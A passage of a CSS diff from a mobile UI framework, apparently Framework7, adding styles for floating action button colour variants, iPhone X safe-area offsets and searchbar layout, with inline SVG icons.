a.color-pink, +.ios .fab .fab-buttons > a.color-pink { + background: #ff2d55; +} +.ios .fab.color-pink > a.active-state, +.ios .fab.color-pink .fab-buttons > a.active-state, +.ios .fab-buttons.color-pink a.active-state, +.ios .fab > a.color-pink.active-state, +.ios .fab .fab-buttons > a.color-pink.active-state { + background: #ff0434; +} +.ios .fab-morph.color-pink { + background: #ff2d55; +} +.ios .fab.color-yellow > a, +.ios .fab.color-yellow .fab-buttons > a, +.ios .fab-buttons.color-yellow a, +.ios .fab > a.color-yellow, +.ios .fab .fab-buttons > a.color-yellow { + background: #ffcc00; +} +.ios .fab.color-yellow > a.active-state, +.ios .fab.color-yellow .fab-buttons > a.active-state, +.ios .fab-buttons.color-yellow a.active-state, +.ios .fab > a.color-yellow.active-state, +.ios .fab .fab-buttons > a.color-yellow.active-state { + background: #d6ab00; +} +.ios .fab-morph.color-yellow { + background: #ffcc00; +} +.ios .fab.color-orange > a, +.ios .fab.color-orange .fab-buttons > a, +.ios .fab-buttons.color-orange a, +.ios .fab > a.color-orange, +.ios .fab .fab-buttons > a.color-orange { + background: #ff9500; +} +.ios .fab.color-orange > a.active-state, +.ios .fab.color-orange .fab-buttons > a.active-state, +.ios .fab-buttons.color-orange a.active-state, +.ios .fab > a.color-orange.active-state, +.ios .fab .fab-buttons > a.color-orange.active-state { + background: #d67d00; +} +.ios .fab-morph.color-orange { + background: #ff9500; +} +.ios .fab.color-gray > a, +.ios .fab.color-gray .fab-buttons > a, +.ios .fab-buttons.color-gray a, +.ios .fab > a.color-gray, +.ios .fab .fab-buttons > a.color-gray { + background: #8e8e93; +} +.ios .fab.color-gray > a.active-state, +.ios .fab.color-gray .fab-buttons > a.active-state, +.ios .fab-buttons.color-gray a.active-state, +.ios .fab > a.color-gray.active-state, +.ios .fab .fab-buttons > a.color-gray.active-state { + background: #79797f; +} +.ios .fab-morph.color-gray { + background: #8e8e93; +} +.ios .fab.color-white > a, +.ios .fab.color-white .fab-buttons > a, +.ios .fab-buttons.color-white a, +.ios .fab > a.color-white, +.ios .fab .fab-buttons > a.color-white { + background: #ffffff; +} +.ios .fab.color-white > a.active-state, +.ios .fab.color-white .fab-buttons > a.active-state, +.ios .fab-buttons.color-white a.active-state, +.ios .fab > a.color-white.active-state, +.ios .fab .fab-buttons > a.color-white.active-state { + background: #ebebeb; +} +.ios .fab-morph.color-white { + background: #ffffff; +} +.ios .fab.color-black > a, +.ios .fab.color-black .fab-buttons > a, +.ios .fab-buttons.color-black a, +.ios .fab > a.color-black, +.ios .fab .fab-buttons > a.color-black { + background: #000000; +} +.ios .fab.color-black > a.active-state, +.ios .fab.color-black .fab-buttons > a.active-state, +.ios .fab-buttons.color-black a.active-state, +.ios .fab > a.color-black.active-state, +.ios .fab .fab-buttons > a.color-black.active-state { + background: #000000; +} +.ios .fab-morph.color-black { + background: #000000; +} +.ios.device-iphone-x .fab[class*="-bottom"] { + bottom: calc(15px + constant(safe-area-inset-bottom)); + bottom: calc(15px + env(safe-area-inset-bottom)); +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .fab[class*="fab-left"], + .ios.device-iphone-x .ios-edges .fab[class*="fab-left"], + .ios.device-iphone-x .popup .fab[class*="fab-left"], + .ios.device-iphone-x .sheet-modal .fab[class*="fab-left"], + .ios.device-iphone-x .panel-left .fab[class*="fab-left"] { + left: calc(15px + constant(safe-area-inset-left)); + left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .fab[class*="fab-right"], + .ios.device-iphone-x .ios-edges .fab[class*="fab-right"], + .ios.device-iphone-x .popup .fab[class*="fab-right"], + .ios.device-iphone-x .sheet-modal .fab[class*="fab-right"], + .ios.device-iphone-x .panel-right .fab[class*="fab-right"] { + right: calc(15px + constant(safe-area-inset-right)); + right: calc(15px + env(safe-area-inset-right)); + } +} +.md .fab > a, +.md .fab-buttons a { + background: #2196f3; + width: 56px; + height: 56px; + border-radius: 28px; + color: #fff; + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); +} +.md .fab > a.active-state, +.md .fab-buttons a.active-state { + background: #0c82df; +} +.md .fab[class*="fab-left"] { + left: 15px; +} +.md .fab[class*="fab-right"] { + right: 15px; +} +.md .fab[class*="-top"] { + top: 15px; +} +.md .fab[class*="-bottom"] { + bottom: 15px; +} +.md .navbar ~ * .fab[class*="-top"], +.md .navbar ~ .fab[class*="-top"] { + margin-top: 56px; +} +@media (min-width: 768px) { + .md .navbar ~ * .fab[class*="-top"], + .md .navbar ~ .fab[class*="-top"] { + margin-top: 64px; + } +} +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .fab[class*="-top"], +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .fab[class*="-top"] { + margin-top: 48px; +} +.md .tabbar-labels:not(.toolbar-bottom-md) ~ * .fab[class*="-top"], +.md .tabbar-labels:not(.toolbar-bottom-md) ~ .fab[class*="-top"] { + margin-top: 72px; +} +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .fab[class*="-top"], +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .fab[class*="-top"] { + margin-top: 104px; +} +.md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ * .fab[class*="-top"], +.md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ .fab[class*="-top"] { + margin-top: 128px; +} +@media (min-width: 768px) { + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .fab[class*="-top"], + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .fab[class*="-top"] { + margin-top: 112px; + } + .md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ * .fab[class*="-top"], + .md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ .fab[class*="-top"] { + margin-top: 136px; + } +} +.md .toolbar-bottom-md ~ * .fab[class*="-bottom"], +.md .toolbar-bottom-md ~ .fab[class*="-bottom"], +.md .messagebar ~ * .fab[class*="-bottom"], +.md .messagebar ~ .fab[class*="-bottom"] { + margin-bottom: 48px; +} +.md .toolbar-bottom-md.tabbar-labels ~ * .fab[class*="-bottom"], +.md .toolbar-bottom-md.tabbar-labels ~ .fab[class*="-bottom"] { + margin-bottom: 72px; +} +.md .fab-morph { + border-radius: 28px; + background: #2196f3; + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); +} +.md .fab-morph > a { + -webkit-box-shadow: none; + box-shadow: none; + background: none !important; +} +.md .fab-extended { + min-width: 48px; +} +.md .fab-extended > a { + height: 48px; +} +.md .fab-extended > a i { + left: 24px; +} +.md .fab-extended i ~ .fab-text { + padding-left: 48px; +} +.md .fab-text { + font-weight: 500; + letter-spacing: 0.03em; +} +.md .fab-label { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12); +} +.md .color-theme-red .fab > a, +.md .color-theme-red .fab-buttons a, +.md .color-theme-red.fab > a, +.md .color-theme-red.fab-buttons a { + background: #f44336; +} +.md .color-theme-red .fab > a.active-state, +.md .color-theme-red .fab-buttons a.active-state, +.md .color-theme-red.fab > a.active-state, +.md .color-theme-red.fab-buttons a.active-state { + background: #f21f0f; +} +.md .color-theme-red .fab-morph, +.md .color-theme-red.fab-morph { + background: #f44336; +} +.md .color-theme-green .fab > a, +.md .color-theme-green .fab-buttons a, +.md .color-theme-green.fab > a, +.md .color-theme-green.fab-buttons a { + background: #4caf50; +} +.md .color-theme-green .fab > a.active-state, +.md .color-theme-green .fab-buttons a.active-state, +.md .color-theme-green.fab > a.active-state, +.md .color-theme-green.fab-buttons a.active-state { + background: #409343; +} +.md .color-theme-green .fab-morph, +.md .color-theme-green.fab-morph { + background: #4caf50; +} +.md .color-theme-blue .fab > a, +.md .color-theme-blue .fab-buttons a, +.md .color-theme-blue.fab > a, +.md .color-theme-blue.fab-buttons a { + background: #2196f3; +} +.md .color-theme-blue .fab > a.active-state, +.md .color-theme-blue .fab-buttons a.active-state, +.md .color-theme-blue.fab > a.active-state, +.md .color-theme-blue.fab-buttons a.active-state { + background: #0c82df; +} +.md .color-theme-blue .fab-morph, +.md .color-theme-blue.fab-morph { + background: #2196f3; +} +.md .color-theme-pink .fab > a, +.md .color-theme-pink .fab-buttons a, +.md .color-theme-pink.fab > a, +.md .color-theme-pink.fab-buttons a { + background: #e91e63; +} +.md .color-theme-pink .fab > a.active-state, +.md .color-theme-pink .fab-buttons a.active-state, +.md .color-theme-pink.fab > a.active-state, +.md .color-theme-pink.fab-buttons a.active-state { + background: #ca1452; +} +.md .color-theme-pink .fab-morph, +.md .color-theme-pink.fab-morph { + background: #e91e63; +} +.md .color-theme-yellow .fab > a, +.md .color-theme-yellow .fab-buttons a, +.md .color-theme-yellow.fab > a, +.md .color-theme-yellow.fab-buttons a { + background: #ffeb3b; +} +.md .color-theme-yellow .fab > a.active-state, +.md .color-theme-yellow .fab-buttons a.active-state, +.md .color-theme-yellow.fab > a.active-state, +.md .color-theme-yellow.fab-buttons a.active-state { + background: #ffe712; +} +.md .color-theme-yellow .fab-morph, +.md .color-theme-yellow.fab-morph { + background: #ffeb3b; +} +.md .color-theme-orange .fab > a, +.md .color-theme-orange .fab-buttons a, +.md .color-theme-orange.fab > a, +.md .color-theme-orange.fab-buttons a { + background: #ff9800; +} +.md .color-theme-orange .fab > a.active-state, +.md .color-theme-orange .fab-buttons a.active-state, +.md .color-theme-orange.fab > a.active-state, +.md .color-theme-orange.fab-buttons a.active-state { + background: #d68000; +} +.md .color-theme-orange .fab-morph, +.md .color-theme-orange.fab-morph { + background: #ff9800; +} +.md .color-theme-gray .fab > a, +.md .color-theme-gray .fab-buttons a, +.md .color-theme-gray.fab > a, +.md .color-theme-gray.fab-buttons a { + background: #9e9e9e; +} +.md .color-theme-gray .fab > a.active-state, +.md .color-theme-gray .fab-buttons a.active-state, +.md .color-theme-gray.fab > a.active-state, +.md .color-theme-gray.fab-buttons a.active-state { + background: #8a8a8a; +} +.md .color-theme-gray .fab-morph, +.md .color-theme-gray.fab-morph { + background: #9e9e9e; +} +.md .color-theme-white .fab > a, +.md .color-theme-white .fab-buttons a, +.md .color-theme-white.fab > a, +.md .color-theme-white.fab-buttons a { + background: #ffffff; +} +.md .color-theme-white .fab > a.active-state, +.md .color-theme-white .fab-buttons a.active-state, +.md .color-theme-white.fab > a.active-state, +.md .color-theme-white.fab-buttons a.active-state { + background: #ebebeb; +} +.md .color-theme-white .fab-morph, +.md .color-theme-white.fab-morph { + background: #ffffff; +} +.md .color-theme-black .fab > a, +.md .color-theme-black .fab-buttons a, +.md .color-theme-black.fab > a, +.md .color-theme-black.fab-buttons a { + background: #000000; +} +.md .color-theme-black .fab > a.active-state, +.md .color-theme-black .fab-buttons a.active-state, +.md .color-theme-black.fab > a.active-state, +.md .color-theme-black.fab-buttons a.active-state { + background: #000000; +} +.md .color-theme-black .fab-morph, +.md .color-theme-black.fab-morph { + background: #000000; +} +.md .fab.color-red > a, +.md .fab.color-red .fab-buttons > a, +.md .fab-buttons.color-red a, +.md .fab > a.color-red, +.md .fab .fab-buttons > a.color-red { + background: #f44336; +} +.md .fab.color-red > a.active-state, +.md .fab.color-red .fab-buttons > a.active-state, +.md .fab-buttons.color-red a.active-state, +.md .fab > a.color-red.active-state, +.md .fab .fab-buttons > a.color-red.active-state { + background: #f21f0f; +} +.md .fab-morph.color-red { + background: #f44336; +} +.md .fab.color-green > a, +.md .fab.color-green .fab-buttons > a, +.md .fab-buttons.color-green a, +.md .fab > a.color-green, +.md .fab .fab-buttons > a.color-green { + background: #4caf50; +} +.md .fab.color-green > a.active-state, +.md .fab.color-green .fab-buttons > a.active-state, +.md .fab-buttons.color-green a.active-state, +.md .fab > a.color-green.active-state, +.md .fab .fab-buttons > a.color-green.active-state { + background: #409343; +} +.md .fab-morph.color-green { + background: #4caf50; +} +.md .fab.color-blue > a, +.md .fab.color-blue .fab-buttons > a, +.md .fab-buttons.color-blue a, +.md .fab > a.color-blue, +.md .fab .fab-buttons > a.color-blue { + background: #2196f3; +} +.md .fab.color-blue > a.active-state, +.md .fab.color-blue .fab-buttons > a.active-state, +.md .fab-buttons.color-blue a.active-state, +.md .fab > a.color-blue.active-state, +.md .fab .fab-buttons > a.color-blue.active-state { + background: #0c82df; +} +.md .fab-morph.color-blue { + background: #2196f3; +} +.md .fab.color-pink > a, +.md .fab.color-pink .fab-buttons > a, +.md .fab-buttons.color-pink a, +.md .fab > a.color-pink, +.md .fab .fab-buttons > a.color-pink { + background: #e91e63; +} +.md .fab.color-pink > a.active-state, +.md .fab.color-pink .fab-buttons > a.active-state, +.md .fab-buttons.color-pink a.active-state, +.md .fab > a.color-pink.active-state, +.md .fab .fab-buttons > a.color-pink.active-state { + background: #ca1452; +} +.md .fab-morph.color-pink { + background: #e91e63; +} +.md .fab.color-yellow > a, +.md .fab.color-yellow .fab-buttons > a, +.md .fab-buttons.color-yellow a, +.md .fab > a.color-yellow, +.md .fab .fab-buttons > a.color-yellow { + background: #ffeb3b; +} +.md .fab.color-yellow > a.active-state, +.md .fab.color-yellow .fab-buttons > a.active-state, +.md .fab-buttons.color-yellow a.active-state, +.md .fab > a.color-yellow.active-state, +.md .fab .fab-buttons > a.color-yellow.active-state { + background: #ffe712; +} +.md .fab-morph.color-yellow { + background: #ffeb3b; +} +.md .fab.color-orange > a, +.md .fab.color-orange .fab-buttons > a, +.md .fab-buttons.color-orange a, +.md .fab > a.color-orange, +.md .fab .fab-buttons > a.color-orange { + background: #ff9800; +} +.md .fab.color-orange > a.active-state, +.md .fab.color-orange .fab-buttons > a.active-state, +.md .fab-buttons.color-orange a.active-state, +.md .fab > a.color-orange.active-state, +.md .fab .fab-buttons > a.color-orange.active-state { + background: #d68000; +} +.md .fab-morph.color-orange { + background: #ff9800; +} +.md .fab.color-gray > a, +.md .fab.color-gray .fab-buttons > a, +.md .fab-buttons.color-gray a, +.md .fab > a.color-gray, +.md .fab .fab-buttons > a.color-gray { + background: #9e9e9e; +} +.md .fab.color-gray > a.active-state, +.md .fab.color-gray .fab-buttons > a.active-state, +.md .fab-buttons.color-gray a.active-state, +.md .fab > a.color-gray.active-state, +.md .fab .fab-buttons > a.color-gray.active-state { + background: #8a8a8a; +} +.md .fab-morph.color-gray { + background: #9e9e9e; +} +.md .fab.color-white > a, +.md .fab.color-white .fab-buttons > a, +.md .fab-buttons.color-white a, +.md .fab > a.color-white, +.md .fab .fab-buttons > a.color-white { + background: #ffffff; +} +.md .fab.color-white > a.active-state, +.md .fab.color-white .fab-buttons > a.active-state, +.md .fab-buttons.color-white a.active-state, +.md .fab > a.color-white.active-state, +.md .fab .fab-buttons > a.color-white.active-state { + background: #ebebeb; +} +.md .fab-morph.color-white { + background: #ffffff; +} +.md .fab.color-black > a, +.md .fab.color-black .fab-buttons > a, +.md .fab-buttons.color-black a, +.md .fab > a.color-black, +.md .fab .fab-buttons > a.color-black { + background: #000000; +} +.md .fab.color-black > a.active-state, +.md .fab.color-black .fab-buttons > a.active-state, +.md .fab-buttons.color-black a.active-state, +.md .fab > a.color-black.active-state, +.md .fab .fab-buttons > a.color-black.active-state { + background: #000000; +} +.md .fab-morph.color-black { + background: #000000; +} +.md.device-iphone-x .fab[class*="-bottom"] { + bottom: calc(16px + constant(safe-area-inset-bottom)); + bottom: calc(16px + env(safe-area-inset-bottom)); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .fab[class*="fab-left"], + .md.device-iphone-x .ios-edges .fab[class*="fab-left"], + .md.device-iphone-x .popup .fab[class*="fab-left"], + .md.device-iphone-x .sheet-modal .fab[class*="fab-left"], + .md.device-iphone-x .panel-left .fab[class*="fab-left"] { + left: calc(16px + constant(safe-area-inset-left)); + left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .fab[class*="fab-right"], + .md.device-iphone-x .ios-edges .fab[class*="fab-right"], + .md.device-iphone-x .popup .fab[class*="fab-right"], + .md.device-iphone-x .sheet-modal .fab[class*="fab-right"], + .md.device-iphone-x .panel-right .fab[class*="fab-right"] { + right: calc(16px + constant(safe-area-inset-right)); + right: calc(16px + env(safe-area-inset-right)); + } +} +/* === Searchbar === */ +.searchbar { + width: 100%; + position: relative; + z-index: 200; +} +.searchbar .searchbar-input-wrap { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 100%; + height: 100%; + position: relative; +} +.searchbar .searchbar-input-wrap input[type="search"] { + padding: 0; +} +.searchbar .searchbar-input-wrap input::-webkit-search-cancel-button { + -webkit-appearance: none; + appearance: none; +} +.page > .searchbar { + position: absolute; + left: 0; + top: 0; +} +.searchbar-expandable { + position: absolute; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + pointer-events: none; +} +.searchbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.searchbar-disable-button { + cursor: pointer; + pointer-events: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + border: none; + outline: 0; + padding: 0; + margin: 0; + width: auto; + opacity: 0; +} +.searchbar-icon { + pointer-events: none; + background-position: center; + background-repeat: no-repeat; +} +.searchbar-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 100; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.searchbar-backdrop.searchbar-backdrop-in { + opacity: 1; + pointer-events: auto; +} +.page-content > .searchbar-backdrop { + position: fixed; +} +.searchbar-not-found { + display: none; +} +.hidden-by-searchbar, +.list .hidden-by-searchbar, +.list.li.hidden-by-searchbar, +.list li.hidden-by-searchbar { + display: none !important; +} +.ios .searchbar { + height: 44px; + background: #f7f7f8; +} +.ios .searchbar.no-hairline:after { + display: none !important; +} +.ios .searchbar input[type="search"], +.ios .searchbar input[type="text"] { + padding: 0 28px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 100%; + height: 100%; + display: block; + border: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border-radius: 10px; + border-radius: 8px; + font-family: inherit; + color: #000; + font-size: 17px; + font-weight: normal; + z-index: 30; + background-color: #e8e8ea; + position: relative; +} +.ios .searchbar input[type="search"]::-webkit-input-placeholder, +.ios .searchbar input[type="text"]::-webkit-input-placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar input[type="search"]:-ms-input-placeholder, +.ios .searchbar input[type="text"]:-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar input[type="search"]::-ms-input-placeholder, +.ios .searchbar input[type="text"]::-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar input[type="search"]::placeholder, +.ios .searchbar input[type="text"]::placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar .input-clear-button { + z-index: 40; + right: 7px; +} +.ios .searchbar-inner { + padding: 0 8px; +} +.ios .searchbar-icon { + width: 13px; + height: 13px; + position: absolute; + top: 50%; + margin-top: -6px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2013'%20enable-background%3D'new%200%200%2013%2013'%3E%3Cg%3E%3Cpath%20fill%3D'%23939398'%20d%3D'M5%2C1c2.2%2C0%2C4%2C1.8%2C4%2C4S7.2%2C9%2C5%2C9S1%2C7.2%2C1%2C5S2.8%2C1%2C5%2C1%20M5%2C0C2.2%2C0%2C0%2C2.2%2C0%2C5s2.2%2C5%2C5%2C5s5-2.2%2C5-5S7.8%2C0%2C5%2C0%20L5%2C0z'%2F%3E%3C%2Fg%3E%3Cline%20stroke%3D'%23939398'%20stroke-miterlimit%3D'10'%20stroke-width%3D'1.5'%20x1%3D'12.6'%20y1%3D'12.6'%20x2%3D'8.2'%20y2%3D'8.2'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; + z-index: 40; + left: 8px; +} +.ios .searchbar-backdrop { + background: rgba(0, 0, 0, 0.4); +} +.ios .searchbar-input-wrap { + height: 32px; +} +.ios .searchbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .searchbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .searchbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .searchbar-disable-button { + font-size: 17px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + color: #007aff; + display: none; +} +.ios .searchbar-disable-button.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + opacity: 0.3 !important; +} +.ios .searchbar-enabled .searchbar-disable-button { + pointer-events: auto; + opacity: 1; + margin-left: 8px; +} +.ios .searchbar:not(.searchbar-enabled) .searchbar-disable-button { + -webkit-transition-duration: 300ms !important; + transition-duration: 300ms !important; +} +.ios .searchbar-expandable { + left: 0; + bottom: 0; + opacity: 1; + width: 100%; + height: 0%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + overflow: hidden; +} +.ios .searchbar-expandable .searchbar-disable-button { + margin-left: 8px; + opacity: 1; + display: block; +} +.ios .searchbar-expandable .searchbar-inner { + height: 44px; +} +.ios .searchbar-expandable.searchbar-enabled { + opacity: 1; + height: 100%; + pointer-events: auto; +} +.ios .page > .searchbar { + z-index: 200; +} +.ios .navbar ~ .page:not(.no-navbar) > .searchbar, +.ios .page > .navbar ~ .searchbar { + top: 44px; +} +.ios .navbar ~ .page:not(.no-navbar) > .searchbar ~ .page-content, +.ios .navbar ~ .page:not(.no-navbar) > .searchbar ~ * .page-content, +.ios .page > .navbar ~ .searchbar ~ .page-content, +.ios .page > .navbar ~ .searchbar ~ * .page-content { + padding-top: 88px; +} +.ios .theme-dark .searchbar, +.searchbar.ios .theme-dark { + background-color: #303030; +} +.ios .theme-dark .searchbar:after, +.searchbar.ios .theme-dark:after { + background-color: #282829; +} +.ios .theme-dark .searchbar input[type="search"], +.searchbar.ios .theme-dark input[type="search"], +.ios .theme-dark .searchbar input[type="text"], +.searchbar.ios .theme-dark input[type="text"] { + background-color: #171717; + color: #fff; +} +.ios .color-theme-red .searchbar-disable-button { + color: #ff3b30; +} +.ios .color-theme-green .searchbar-disable-button { + color: #4cd964; +} +.ios .color-theme-blue .searchbar-disable-button { + color: #007aff; +} +.ios .color-theme-pink .searchbar-disable-button { + color: #ff2d55; +} +.ios .color-theme-yellow .searchbar-disable-button { + color: #ffcc00; +} +.ios .color-theme-orange .searchbar-disable-button { + color: #ff9500; +} +.ios .color-theme-gray .searchbar-disable-button { + color: #8e8e93; +} +.ios .color-theme-white .searchbar-disable-button { + color: #ffffff; +} +.ios .color-theme-black .searchbar-disable-button { + color: #000000; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .searchbar-inner, + .ios.device-iphone-x .ios-edges .searchbar-inner, + .ios.device-iphone-x .popup .searchbar-inner, + .ios.device-iphone-x .sheet-modal .searchbar-inner, + .ios.device-iphone-x .panel-left .searchbar-inner { + padding-left: calc(8px + constant(safe-area-inset-left)); + padding-left: calc(8px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .searchbar-inner, + .ios.device-iphone-x .ios-edges .searchbar-inner, + .ios.device-iphone-x .popup .searchbar-inner, + .ios.device-iphone-x .sheet-modal .searchbar-inner, + .ios.device-iphone-x .panel-right .searchbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +.md .searchbar { + height: 48px; + background: #fff; +} +.md .searchbar input[type="search"], +.md .searchbar input[type="text"] { + padding-left: 65px; + padding-right: 48px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 100%; + height: 100%; + display: block; + border: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + font-family: inherit; + font-size: 20px; + color: #000; + font-weight: normal; +} +.md .searchbar input[type="search"]::-webkit-input-placeholder, +.md .searchbar input[type="text"]::-webkit-input-placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar input[type="search"]:-ms-input-placeholder, +.md .searchbar input[type="text"]:-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar input[type="search"]::-ms-input-placeholder, +.md .searchbar input[type="text"]::-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar input[type="search"]::placeholder, +.md .searchbar input[type="text"]::placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar-expandable { + height: 100%; +} +.md .searchbar-backdrop { + background: rgba(0, 0, 0, 0.25); +} +.md .searchbar-icon, +.md .searchbar-disable-button { + position: absolute; + width: 48px; + height: 48px; + left: -4px; + top: 50%; + margin-top: -24px; + background-size: 24px 24px; + background-repeat: no-repeat; + background-position: center; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .searchbar-icon { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M15.5%2014h-.79l-.28-.27C15.41%2012.59%2016%2011.11%2016%209.5%2016%205.91%2013.09%203%209.5%203S3%205.91%203%209.5%205.91%2016%209.5%2016c1.61%200%203.09-.59%204.23-1.57l.27.28v.79l5%204.99L20.49%2019l-4.99-5zm-6%200C7.01%2014%205%2011.99%205%209.5S7.01%205%209.5%205%2014%207.01%2014%209.5%2011.99%2014%209.5%2014z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .searchbar-disable-button { + -webkit-transform: rotate(-90deg) scale(0.5); + transform: rotate(-90deg) scale(0.5); + font-size: 0 !important; + display: block; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23737373'%2F%3E%3C%2Fsvg%3E"); +} +.md .searchbar-disable-button:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .searchbar-disable-button.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .searchbar-enabled .searchbar-disable-button { + -webkit-transform: rotate(0deg) scale(1); + transform: rotate(0deg) scale(1); + pointer-events: auto; + opacity: 1; +} +.md .searchbar-enabled .searchbar-icon { + opacity: 0; + -webkit-transform: rotate(90deg) scale(0.5); + transform: rotate(90deg) scale(0.5); +} +.md .searchbar .input-clear-button { + width: 48px; + height: 48px; + margin-top: -24px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + border-radius: 0; + background-repeat: no-repeat; + background-position: center; + background-size: 24px 24px; + background-color: transparent; + right: 0; +} +.md .searchbar .input-clear-button:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 